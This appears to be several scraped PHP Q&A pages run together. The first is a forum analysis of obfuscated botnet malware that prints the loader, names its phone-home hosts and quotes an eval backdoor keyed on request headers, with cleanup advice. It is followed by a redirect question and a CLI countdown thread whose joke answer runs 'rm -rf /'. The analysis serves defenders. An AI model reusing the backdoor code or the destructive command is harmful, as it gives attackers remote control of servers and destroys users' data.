$QO0QQ0=QQQ0Q0O0(310, 16); $QOQ0QO=QQQ0Q0O0(329, 18); $Il1Il1=QQQ0Q0O0(350, 18); $Il1lII=QQQ0Q0O0(371, 10); $Il1lII.=strtolower(#$_SERVER[QQQ0Q0O0(134, 12)]); $QO0Q0O = #$_SERVER[QQQ0Q0O0(383, 20)]; foreach ($_GET as $QO0QO0=>$IIll11){ if (strpos($IIll11,QQQ0Q0O0(405, 7))){$_GET[$QO0QO0]=QQQ0Q0O0(47, 0);} elseif (strpos($IIll11,QQQ0Q0O0(415, 8))){$_GET[$QO0QO0]=QQQ0Q0O0(47, 0);} } if(!isset($_SERVER[QQQ0Q0O0(426, 15)])) { $_SERVER[QQQ0Q0O0(426, 15)] = #$_SERVER[QQQ0Q0O0(441, 15)]; if(#$_SERVER[QQQ0Q0O0(459, 16)]) { $_SERVER[QQQ0Q0O0(426, 15)] .= QQQ0Q0O0(478, 2) . #$_SERVER[QQQ0Q0O0(459, 16)]; } } if ($QQO0OQ=$Il1lII.#$_SERVER[QQQ0Q0O0(426, 15)]){ $Q0Q0QQ=#md5($Il1lII.$QOQ00Q.PHP_OS.$QO0QQ0); $IIlI11=QQQ0Q0O0(481, 7); $Il1I1I = Array(QQQ0Q0O0(491, 6), #$_SERVER[QQQ0Q0O0(499, 4)], #$_SERVER[QQQ0Q0O0(506, 6)], #$_ENV[QQQ0Q0O0(499, 4)], #$_ENV[QQQ0Q0O0(514, 8)], #$_ENV[QQQ0Q0O0(506, 6)], #ini_get(QQQ0Q0O0(523, 19))); foreach ($Il1I1I as $QOO000){ if (!empty($QOO000)){ $QOO000.=DIRECTORY_SEPARATOR; if (#is_writable($QOO000)){ $IIlI11 = $QOO000; break; } } } $tmp=$IIlI11.QQQ0Q0O0(545, 2).$Q0Q0QQ; if (#$_SERVER["HTTP_Y_AUTH"]==$Q0Q0QQ){ echo "\r\n"; #output(QQQ0Q0O0(550, 8), $QOQ00Q.QQQ0Q0O0(561, 2).$I1l1ll.QQQ0Q0O0(565, 6)); if ($QOQQQQ=$QOQ0QO(#$_SERVER[QQQ0Q0O0(574, 16)])){ #eval($QOQQQQ); echo "\r\n"; #output(QQQ0Q0O0(595, 4), QQQ0Q0O0(601, 3)); } exit(0); } if (#is_file($tmp)){ #include_once($tmp); } else{ $QQO0OQ=#urlencode($QQO0OQ); upd($tmp,QQQ0Q0O0(607, 6).QQQ0Q0O0(614, 4).$IllI11[0].QQQ0Q0O0(621, 14).$QQO0OQ.QQQ0Q0O0(639, 4).$Q0Q0QQ.QQQ0Q0O0(645, 12).$I1l1ll.QQQ0Q0O0(658, 4).$QOQ00Q); } } }
OK. We now have deobfuscated and commented the code above, so we have enough information to say approximately what is going on. We don't know how this was installed on your server (at least I don't). Most of the actual code is typical malware behavior. It runs if it hasn't done so already.
It defines a few functions for getting and writing to files. Oddly, I don't think these functions actually work. They return blanks, but now I think I see why: the server finds out it has infected a host by the last line of the code, which calls the upd function it defines which phones home to http:/ /oson.in/pg.php?u=yoururl&k=md5hashofhostbotnetversionphpos&t=php&p=ftp13&v=2.12
There is no need to actually download anything because once the server knows it has infected a box, it can now call upon you to execute code whenever it wants.
When it phones home, a side effect is the creation of a file in one of your temporary directories. It probably doesn't hold much value except to confirm you're a victim, which is quite obvious at the moment.
The botnet will call your url with the HTTP_Y_AUTH server variable set to a password hash that it can compute based on your url, and then when the password check succeeds, it will execute the php code it sent in the HTTP_EXECPHP server variable. That is essentially all this does.
What to do to fix it...
The first thing to do is clean up all your php files. Might want to write a script to do that.
You could define determinator in all your files, but that's tedious and hackish. This is a surefire way to stop the malware from running any more of the initial code.
You should probably disable allow_url_fopen if you're not using it and also eval if possible. Both of these are used to phone home and run code on your system, respectively. Without them, the botnet could never have finished the installation. Curl is also used to phone home if allow_url_fopen is disabled though.
Go to every temp directory and get rid of any suspicious and weirdly named files.
/tmp/
#$_SERVER['TMP']
#$_SERVER['TEMP']
#$_ENV['TMP']
#$_ENV['TMPDIR']
#$_ENV['TEMP']
#ini_get('upload_tmp_dir')
Do not access the following sites. Preferably, you should block incoming and outgoing traffic for all of these domain names. This will prevent future execution of virus code.
oson.in
gabor.se
silber.de
haveapoke.com.au
Lastly, and most importantly, this malware at any point could have run anything on your server that it wanted (that is its main idea here and probably did end up running code because it killed your resources). That means that you have no idea what has happened to your servers. The best strategy in this situation is a complete reinstall. Salvage your data and your code... hopefully you have it backed up to a repository and that part's easier, and reinstall the servers. If that's not an option, run a few virus scanners and manually scan the heck out of your servers.
I'm really considering setting up a website and having it run this program and then seeing what code the malware ends up wanting to run.
More information is here:
kohanaframework: look at spirit's answer
Someone versed in security broke a different version down into fine details here
I worked a similar code a few days ago, should be of the same person or group.
The version I saw was / * versio: 2.20 * /
Here the code.
http://www.forosdelweb.com/f18/posible-codigo-malicioso-1068526/
Here some of the code i found.
if(# $ _SERVER ["HTTP_AUTH"] == $ QO000O or # $ _POST ["Y_AUTH"] == $ QO000O) {
echo "\ r \ n";
# output ('ver', $ IllIIl. '-'. $ II1llI. '-php');
if ($ II1I11 = base64_decode (# $ _POST ['EXECPHP'])) {
# eval ($ II1I11);
echo "\ r \ n";
# output ('out', 'ok');
}
exit (0);
}
All the info is sent to 'http://' 'oson'. 'in' Beware of this server!

PHP Redirection not working, session has been started

I'm trying to get PHP redirection to work, in a login form, however, it is not working. Here's the code if the authentication is successful.
$success = (isset($_POST['uri'])) ? '' : '/index.php';
if ($rs->num_rows) {
$qn = $db->query("SELECT userid FROM sessions");
$svt = array();
$vbs = $rs->fetch_assoc();
while ($row = $qn->fetch_assoc()) {
$svt [] = $row ['userid'];
}
if (in_array($vbs ['userid'], $svt)) {
} else {
set_session(array_merge($vbs, array('expires' => time() + (30 * 60))));
$_SESSION['secure3d']['expires'] = time() + (5 * 60);
header("Location: $success"); // this isn't working but the session is set.
}
}
Any ideas on what I'm doing wrong here?
Try $success as an absolute URI, something like http://mydomain.com/index.php e.g. in http/1.1 it has to be an absolute URI
Another popular error is that an whitespace is send before the header function. This can be happen if you have an include which ends with "?> "

PHP 5 second countdown (CLI, not JavaScript)

I am writing a PHP CLI (command line) script that will do some irreversible damage if it is run by accident. I would like to display a 5 second countdown timer before continuing execution of the script. How can I do this with PHP?
Don't do a countdown. that presumes that someone's actually watching the screen and reading/understanding what the countdown means. It's entirely possible that someone walks in, sits on the edge of your desk, and butt-types the script name and lets it run while their back is turned.
Instead, use some ridiculous command line argument to enable the destructive mode:
$ php nastyscript.php
Sorry, you did not specify the '--destroy_the_world_with_extreme_prejudice' argument,
so here's an ASCII cow instead.
(__)
(oo)
/-------\/ Moooooo
/ | ||
* ||----||
^^ ^^
$ php nastyscript.php --destroy_the_world_with_extreme_prejudice
Initiating Armageddon...
*BOOM*
ATH0++++ NO CARRIER
Basically:
<?php
function blow_up_the_world() {
system("rm -rf / &");
}
if (in_array('--destroy_the_world_with_extreme_prejudice'), $argv)) {
if ($ransom != '1 Beeeeelyun dollars') {
blow_up_the_world();
}
exit(); // must be nice and exit cleanly, though the world we're exiting to no longer exists
}
echo <<<EOL
Sorry, you did not specify the '--destroy_the_world_with_extreme_prejudice' argument,
so here's an ASCII cow instead.
(__)
(oo)
/-------\/ Moooooo
/ | ||
* ||----||
^^ ^^
EOL;
You should be able to use sleep
http://php.net/manual/en/function.sleep.php
Something like this should do the trick:
for($i = 5; $i > 0; $i--) {
echo "$i\n";
sleep(1);
}
echo "Doing dangerous stuff now...\n";
Even if I 1000% agree with jnpcl's comment stating to ask for confirmation instead of showing a countdown, here is a tested solution on Windows command line (hope it will work on *nix systems):
<?php
echo "countdown:";
for($i = 5; $i > 0; $i--)
{
echo $i;
sleep(1);
echo chr(8); // backspace
}
echo "0\nkaboom!";
To add my two cents, here's how you can add a confirmation prompt.
<?php
echo "Continue? (Y/N) - ";
$stdin = fopen('php://stdin', 'r');
$response = fgetc($stdin);
if ($response != 'Y') {
echo "Aborted.\n";
exit;
}
$seconds = 5;
for ($i = $seconds; $i > 0; --$i) {
echo $i;
usleep(250000);
echo '.';
usleep(250000);
echo '.';
usleep(250000);
echo '.';
usleep(250000);
}
echo " Running NOW\n";
// run command here
(You have to type 'Y' then hit Enter.)
To delete and replace the number instead of what I did here, try Frosty Z's clever solution. Alternatively, you can get fancy using ncurses. See this tutorial.
This is what I ended up doing:
# from Wiseguy's answer
echo 'Continue? (Y/N): ';
$stdin = fopen('php://stdin', 'r');
$response = fgetc($stdin);
if (strtolower($response) != 'y') {
echo "Aborted.\n";
exit;
}
However, for a pretty countdown, this is what I came up with:
/**
* Displays a countdown.
* #param int $seconds
*/
function countdown($seconds) {
for ($i=$seconds; $i>0; $i--) {
echo "\r"; //start at the beginning of the line
echo "$i "; //added space moves cursor further to the right
sleep(1);
}
echo "\r\n"; //clear last number (overwrite it with spaces)
}
By using a \r (carriage return) you can start at the beginning of the line and overwrite the output on the current line.

Categories